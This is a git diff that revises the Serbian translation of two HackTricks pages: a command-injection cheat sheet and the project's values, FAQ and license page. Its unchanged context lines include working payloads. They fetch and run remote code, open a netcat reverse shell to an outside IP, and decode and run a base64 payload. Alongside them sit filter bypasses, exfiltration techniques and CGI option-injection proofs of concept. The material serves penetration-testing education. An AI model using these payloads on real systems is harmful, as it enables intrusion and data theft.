|
||||
A **command injection** omogućava izvršavanje proizvoljnih naredbi operativnog sistema od strane attacker-a na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih naredbi obično omogućava attacker-u da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
**command injection** omogućava napadaču da izvrši proizvoljne komande operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neovlašćeni pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
|
||||
### Kontekst
|
||||
|
||||
U zavisnosti od toga **gde se vaš unos ubacuje** možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre nego što unesete naredbe.
|
||||
U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite citirani kontekst** (koristeći `"` ili `'`) pre nego što unesete naredbe.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Ograničenje** Bypasses
|
||||
### **Bypasses za ograničenja**
|
||||
|
||||
Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, biće vam zanimljivo da pročitate o ovim **Bypasses:**
|
||||
Ako pokušavate da izvršite **arbitrarne komande na linux mašini** biće vam zanimljivo da pročitate o ovim **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||
```
|
||||
### Parameters
|
||||
### Parametri
|
||||
|
||||
Evo top 25 parametara koji mogu biti ranjivi na code injection i slične RCE vulnerabilities (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (preuzeto sa [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ Evo top 25 parametara koji mogu biti ranjivi na code injection i slične RCE vul
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
Izdvajanje podataka: char by char
|
||||
Ekstrakcija podataka: char by char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -106,7 +106,7 @@ Online alati za proveru DNS based data exfiltration:
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Zaobilaženje filtera
|
||||
### Zaobilaženje filtriranja
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Kada pregledate JavaScript/TypeScript back-endove, često ćete naići na Node.js `child_process` API.
|
||||
Prilikom audita JavaScript/TypeScript back-ends često ćete naići na Node.js `child_process` API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string.
|
||||
`exec()` pokreće **shell** (`/bin/sh -c`), zato bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) može dovesti do **command injection** kada se korisnički unos konkatenira u string.
|
||||
|
||||
**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** tako da shell nije uključen:
|
||||
**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao poseban element niza** tako da shell nije uključen:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -144,21 +144,21 @@ Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an una
|
||||
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Nisu sve injekcije zavisne od shell metacharaktera. Ako aplikacija prosleđuje nepouzdane stringove kao argumente sistemskom utility-ju (čak i uz `execve`/`execFile` i bez shell-a), mnogi programi će i dalje parsirati svaki argument koji počinje sa `-` ili `--` kao opciju. Ovo omogućava attacker-u da promeni režime, promeni putanje izlaza ili pokrene opasna ponašanja bez ulaska u shell.
|
||||
Nisu sve injekcije zavisne od shell metakaraktera. Ako aplikacija prosleđuje nepoverljive stringove kao argumente sistemskom utilitu (čak i koristeći `execve`/`execFile` bez shell-a), mnogi programi će i dalje parsirati svaki argument koji počinje sa `-` ili `--` kao opciju. To omogućava attacker-u da promeni režime rada, promeni izlazne putanje ili pokrene opasna ponašanja bez potrebe da uđe u shell.
|
||||
|
||||
Tipična mesta gde se ovo pojavljuje:
|
||||
Tipična mesta gde se ovo javlja:
|
||||
|
||||
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
|
||||
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
|
||||
- Embedded web UIs/CGI handlers koji prave komande poput `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, itd.
|
||||
- Centralized CGI routers (npr. `/cgi-bin/<something>.cgi` sa selector parametrima kao `topicurl=<handler>`) gde više handler-a koristi isti slab validator.
|
||||
|
||||
Šta probati:
|
||||
|
||||
- Pružite vrednosti koje počinju sa `-`/`--` da bi ih downstream alat tretirao kao flagove.
|
||||
- Abuse flags that change behavior or write files, for example:
|
||||
- `ping`: `-f`/`-c 100000` da optereti uređaj (DoS)
|
||||
- `curl`: `-o /tmp/x` da upiše proizvoljne putanje, `-K <url>` da učita attacker-controlled config
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` da postigne izvršenje posle rotacije u nesigurnim wrapper-ima
|
||||
- Ako program podržava `--` end-of-options, pokušajte da zaobiđete naivne mitigacije koje dodaju `--` na pogrešno mesto.
|
||||
- Dajte vrednosti koje počinju sa `-`/`--` da bi ih downstream alat protumačio kao flagove.
|
||||
- Abuse flagove koji menjaju ponašanje ili zapisuju fajlove, na primer:
|
||||
- `ping`: `-f`/`-c 100000` da opteretite uređaj (DoS)
|
||||
- `curl`: `-o /tmp/x` da upišete arbitrarne putanje, `-K <url>` da učitate attacker-controlled config
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` da post-rotate izvršite kod u nesigurnim wrapper-ima
|
||||
- Ako program podržava `--` end-of-options, pokušajte da zaobiđete naivne mitigacije koje prepnduju `--` na pogrešno mesto.
|
||||
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
```
|
||||
@ -171,14 +171,14 @@ topicurl=<handler>¶m=-n
|
||||
# Unauthenticated RCE when a handler concatenates into a shell
|
||||
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
```
|
||||
## Brute-Force lista detekcije
|
||||
## Lista za otkrivanje Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
|
@ -1,56 +1,56 @@
|
||||
# HackTricks Vrednosti & FAQ
|
||||
# Vrednosti HackTricks-a i FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Vrednosti HackTricks
|
||||
## Vrednosti HackTricks-a
|
||||
|
||||
> [!TIP]
|
||||
> Ovo su **vrednosti projekta HackTricks**:
|
||||
> Ovo su **vrednosti HackTricks projekta**:
|
||||
>
|
||||
> - Obezbediti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima za **CEO** Internet.
|
||||
> - Hacking je o učenju, a učenje bi trebalo da bude što slobodnije.
|
||||
> - Omogućiti **BESPLATAN** pristup **EDUCATIONAL hacking** resursima svima na Internetu.
|
||||
> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije.
|
||||
> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**.
|
||||
> - **SAČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM** **AUTORIMA** sve **zasluge**.
|
||||
> - **Ne želimo da preuzimamo zasluge drugih ljudi**, želimo samo da sačuvamo fine trikove za sve.
|
||||
> - **SAČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM AUTORIMA** sve **zasluge**.
|
||||
> - **Ne želimo zasluge od drugih ljudi**, želimo samo da sačuvamo kul trikove za sve.
|
||||
> - Takođe pišemo **svoja istraživanja** u HackTricks.
|
||||
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks-u sažetak važnih delova** tehnike i **ohrabriti čitaoca da poseti originalni post** za više detalja.
|
||||
> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **PRISTUPAČNIJE**
|
||||
> - Tim HackTricks-a je besplatno posvetio hiljade sati isključivo **za organizovanje sadržaja** tako da ljudi mogu **učiti brže**
|
||||
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja.
|
||||
> - **ORGANIZOVATI** sve **hacking** tehnike u knjizi kako bi bile **PRISTUPAČNIJE**
|
||||
> - Tim HackTricks-a je besplatno posvetio hiljade sati samo kako bi **organizovao sadržaj** tako da ljudi mogu **brže učiti**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## Često postavljana pitanja o HackTricks
|
||||
## HackTricks FAQ
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hvala vam puno za ove resurse, kako mogu da vam se zahvalim?**
|
||||
> - **Hvala vam mnogo za ove resurse, kako mogu da vam zahvalim?**
|
||||
|
||||
Možete javno zahvaliti HackTricks timu za prikupljanje svih ovih resursa objavom tweet-a pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Možete javno zahvaliti HackTricks timu što je okupio sve ove resurse objavom na Twitteru pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Ako ste posebno zahvalni, možete takođe [**sponzorisati projekat ovde**](https://github.com/sponsors/carlospolop).\
|
||||
I ne zaboravite da **stavite zvezdicu na GitHub projektima!** (Pronaći ćete linkove ispod).
|
||||
I ne zaboravite da **dodelite zvezdicu na Github projektima!** (Pronađite linkove ispod).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Kako mogu da doprinesem projektu?**
|
||||
> - **Kako mogu doprineti projektu?**
|
||||
|
||||
Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti greške** koje pronađete u knjigama slanjem **Pull Request** na odgovarajuće GitHub stranice:
|
||||
Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti bagove** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Ne zaboravite da **stavite zvezdicu na GitHub projektima!**
|
||||
Ne zaboravite da **dodelite zvezdicu Github projektima!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Mogu li kopirati deo sadržaja iz HackTricks-a i staviti ga na svoj blog?**
|
||||
> - **Mogu li kopirati deo sadržaja iz HackTricks i staviti ga na svoj blog?**
|
||||
|
||||
Da, možete, ali **ne zaboravite da navedete konkretan link ili linkove** odakle je sadržaj preuzet.
|
||||
Možete, ali **ne zaboravite da navedete konkretan link(ove)** odakle je sadržaj preuzet.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Kako da referenciram stranicu iz HackTricks-a?**
|
||||
> - **Kako mogu referencirati stranicu HackTricks-a?**
|
||||
|
||||
Dokle god je prikazan link **stranice/stranica** odakle ste uzeli informaciju, to je dovoljno.\
|
||||
Dokle god je naveden link **stranice/stranica** odakle ste uzeli informacije, to je dovoljno.\
|
||||
Ako vam treba bibtex, možete koristiti nešto poput:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Mogu li kopirati sav sadržaj HackTricks-a na svoj blog?**
|
||||
> - **Mogu li kopirati sve HackTricks na svom blogu?**
|
||||
|
||||
**Radije ne**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
|
||||
**Radije ne bih**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
|
||||
|
||||
Ako se plašiš da će nestati, jednostavno ga fork-uj na Github-u ili preuzmi — kao što sam rekao, već je besplatno.
|
||||
Ako se bojite da će nestati, jednostavno ga fork-ujte na Githubu ili preuzmite, kao što sam rekao, već je besplatno.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Zašto imate sponzore? Jesu li HackTricks knjige komercijalnog karaktera?**
|
||||
> - **Zašto imate sponzore? Da li su HackTricks knjige u komercijalne svrhe?**
|
||||
|
||||
Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse za **hacking** **CELOM** svetu. Tim HackTricks-a je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
|
||||
Prva vrednost HackTricks-a je da ponudi **BESPLATNE** edukativne resurse o hakovanju **CELOM** svetu. HackTricks tim je **posvetio na hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
|
||||
|
||||
Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, potpuno ste **U KRIVU**.
|
||||
Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, **POTPUNO STE U ZABLUDI**.
|
||||
|
||||
Imamo sponzore jer, iako je sav sadržaj **BESPLATAN**, želimo da **ponudimo zajednici mogućnost da cene naš rad** ako to žele. Zato nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **relevantne cybersecurity kompanije** mogu sponzorisati HackTricks i **imati neke reklame** u knjizi, pri čemu su **reklame** uvek postavljene na mesta gde su **vidljive** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
|
||||
Imamo sponzore jer, čak i ako je sav sadržaj BESPLATAN, želimo da zajednici ponudimo mogućnost da ceni naš rad ako to želi. Stoga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **relevantnim kompanijama iz oblasti sajber bezbednosti** da sponzorišu HackTricks i da budu **neke reklame** u knjizi, pri čemu su **reklame** uvek postavljene na mesta gde su **vidljive**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
|
||||
|
||||
Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja, jer HackTricks nije napravljen u komercijalne svrhe.
|
||||
Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu ali nije referencirana?**
|
||||
> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mojoj objavi na blogu, ali nije referencirana?**
|
||||
|
||||
**Veoma nam je žao. Ovo se nije trebalo desiti**. Molimo te, obavesti nas putem Github issues, Twitter, Discord... pošalji link HackTricks stranice sa sadržajem i link tvog bloga i **proverićemo i dodaćemo to što pre**.
|
||||
**Veoma nam je žao. Ovo nije trebalo da se dogodi**. Molimo vas, obavestite nas putem Github issues, Twitter, Discord... link stranice HackTricks sa tim sadržajem i link vašeg bloga i **proverićemo to i dodati što pre**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Šta da uradim ako postoji sadržaj sa mog bloga na HackTricks-u i ne želim da bude tamo?**
|
||||
> - **Šta da uradim ako postoji sadržaj sa mog bloga na HackTricks-u i ne želim ga tamo?**
|
||||
|
||||
Imajte na umu da prisustvo linkova ka vašoj stranici na HackTricks-u:
|
||||
Imajte na umu da linkovi ka vašoj stranici u HackTricks-u:
|
||||
|
||||
- Poboljšava vaš **SEO**
|
||||
- Poboljšavaju vaš **SEO**
|
||||
- Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup ovom sadržaju
|
||||
- **HackTricks podstiče** ljude da **provere vašu stranicu** (više ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u dobijaju više poseta)
|
||||
- **HackTricks podstiče** ljude da **pogledaju vašu stranicu** (nekoliko ljudi nam je reklo da od kada je neka njihova stranica u HackTricks-u dobijaju više poseta)
|
||||
|
||||
Međutim, ako ipak želite da sadržaj vašeg bloga bude uklonjen iz HackTricks-a, samo nam javite i mi ćemo definitivno **ukloniti sve linkove ka vašem blogu**, i svaki sadržaj zasnovan na njemu.
|
||||
Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen sa HackTricks-a, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i bilo koji sadržaj zasnovan na njemu.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Šta da uradim ako nađem kopirani sadržaj u HackTricks-u?**
|
||||
> - **Šta da uradim ako pronađem kopirani sadržaj u HackTricks-u?**
|
||||
|
||||
Uvek dajemo **sva priznanja originalnim autorima**. Ako nađete stranicu sa kopiranim sadržajem bez reference na originalni izvor, javite nam i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**.
|
||||
Mi uvek **dodeljujemo sve zasluge originalnim autorima**. Ako pronađete stranicu sa kopiranim sadržajem bez referenciranog originalnog izvora, obavestite nas i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**.
|
||||
|
||||
## LICENSE
|
||||
## LICENCA
|
||||
|
||||
Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
|
||||
Autorska prava © Sva prava zadržana, osim ako nije drugačije navedeno.
|
||||
|
||||
#### Sažetak licence:
|
||||
|
||||
- Atribucija: Slobodni ste da:
|
||||
- Share — kopirajte i redistribuirajte materijal u bilo kom mediju ili formatu.
|
||||
- Adapt — remiksujte, transformišite i gradite dalje na materijalu.
|
||||
- Priznavanje autora: Slobodni ste da:
|
||||
- Deljenje — kopirajte i redistribuirajte materijal u bilo kom mediju ili formatu.
|
||||
- Prilagođavanje — remiksujte, transformišite i nadogradite materijal.
|
||||
|
||||
#### Dodatni uslovi:
|
||||
|
||||
- Sadržaj trećih lica: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isečci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa principima fair use-a ili uz izričitu dozvolu odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenci koje se odnose na sadržaj trećih lica.
|
||||
- Autorstvo: Originalni sadržaj koji je autorisao HackTricks podleže uslovima ove licence. Preporučujemo da prilikom deljenja ili prilagođavanja navedete autora.
|
||||
- Sadržaj treće strane: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isječci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se prema principima poštene upotrebe (fair use) ili uz izričitu dozvolu odgovarajućih vlasnika autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenciranju sadržaja trećih strana.
|
||||
- Autorstvo: Originalni sadržaj koji je autorisao HackTricks podleže uslovima ove licence. Preporučuje se da navedete autora ovog dela kada delite ili prilagođavate sadržaj.
|
||||
|
||||
#### Izuzeci:
|
||||
|
||||
- Komercijalna upotreba: Za upite u vezi komercijalne upotrebe ovog sadržaja, molimo kontaktirajte me.
|
||||
- Komercijalna upotreba: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me.
|
||||
|
||||
Ova licenca ne dodeljuje nikakva prava na žigove ili brendiranje u vezi sa sadržajem. Svi žigovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih nosilaca.
|
||||
Ova licenca ne daje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo odgovarajućih vlasnika.
|
||||
|
||||
**Pristupanjem ili korišćenjem HackTricks-a prihvatate uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom sajtu.**
|
||||
**Pristupanjem ili korišćenjem HackTricks-a, slažete se da ćete se pridržavati uslova ove licence. Ako se ne slažete sa ovim uslovima, molimo, ne pristupajte ovom veb sajtu.**
|
||||
|
||||
## **Disclaimer**
|
||||
## **Odricanje odgovornosti**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ova knjiga, 'HackTricks,' namenjena je isključivo obrazovnim i informativnim svrhama.
|
||||
> Ova knjiga, 'HackTricks,' je namenjena samo za obrazovne i informativne svrhe. Sadržaj unutar ove knjige pruža se "kakav jeste", i autori i izdavači ne daju nikakva očitovanja ili garancije bilo koje vrste, izričite ili implicitne, u vezi sa potpunošću, tačnošću, pouzdanošću, podobnošću ili dostupnošću informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije stoga je isključivo na sopstveni rizik.
|
||||
>
|
||||
> Sadržaj u ovoj knjizi dostavlja se 'kakav jeste', a autori i izdavači ne daju nikakve izjave niti garancije, izričite ili implicitne, u vezi sa potpunošću, tačnošću, pouzdanošću, prikladnošću ili dostupnošću informacija, proizvoda, usluga ili pratećih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije stoga je isključivo na vaš sopstveni rizik.
|
||||
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući bez ograničenja indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu bilo koje vrste koja proističe iz gubitka podataka ili profita koji nastanu iz, ili u vezi sa, korišćenjem ove knjige.
|
||||
>
|
||||
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektni ili posledični gubitak ili štetu, niti bilo kakav gubitak ili štetu proisteklu iz gubitka podataka ili profita koji nastanu iz upotrebe ove knjige ili u vezi s njom.
|
||||
> Nadalje, tehnike i saveti opisani u ovoj knjizi pružaju se isključivo u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve nezakonite ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve nezakonite ili neetičke aktivnosti, i svako korišćenje informacija sadržanih u ovoj knjizi je na sopstveni rizik i diskreciju korisnika.
|
||||
>
|
||||
> Pored toga, tehnike i saveti opisani u ovoj knjizi pružaju se samo u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, te je svako korišćenje informacija iz ove knjige na sopstveni rizik i odgovornost korisnika.
|
||||
> Korisnik je isključivo odgovoran za sve radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i uvek bi trebao potražiti profesionalni savet i pomoć kada pokušava da primeni bilo koju od tehnika ili saveta opisanih ovde.
|
||||
>
|
||||
> Korisnik je isključivo odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i treba uvek da potraži profesionalni savet i pomoć kada pokuša da primeni bilo koju od tehnika ili saveta opisanih ovde.
|
||||
>
|
||||
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proisteći iz korišćenja ove knjige ili bilo kojih informacija u njoj.
|
||||
> Korišćenjem ove knjige, korisnik pristaje da oslobodi autore i izdavače od bilo kakve i sve odgovornosti za bilo kakve štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo koje informacije sadržane u njoj.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user